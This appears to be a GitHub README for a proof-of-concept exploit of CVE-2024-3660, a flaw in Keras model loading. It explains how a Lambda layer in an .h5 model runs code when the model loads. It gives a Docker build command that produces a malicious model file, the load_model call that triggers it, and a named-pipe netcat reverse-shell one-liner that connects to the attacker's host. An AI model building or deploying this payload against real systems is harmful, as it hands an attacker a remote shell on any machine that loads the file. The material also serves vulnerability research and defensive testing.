aaryanbhujang/cve-2024-3660-pocA PoC for CVE-2024-3660. Arbitrary Code Execution in Keras.
CVE-2024-3660 is an arbitrary code execution vulnerability in TensorFlow's Keras framework affecting versions < 2.13.
It allows an attacker to embed Python code inside a model (e.g., via a Lambda layer) which executes automatically when the model is loaded.
When a malicious .h5 model file is loaded in a vulnerable environment, arbitrary commands are executed with the same permissions as the loading process.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
or in older TensorFlow versions where safe_mode is not enabled by default.
This PoC uses a Docker-based build to generate a malicious hack.h5 model containing a reverse shell payload. When the model is loaded in a vulnerable TensorFlow version, it connects back to the attacker's machine.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f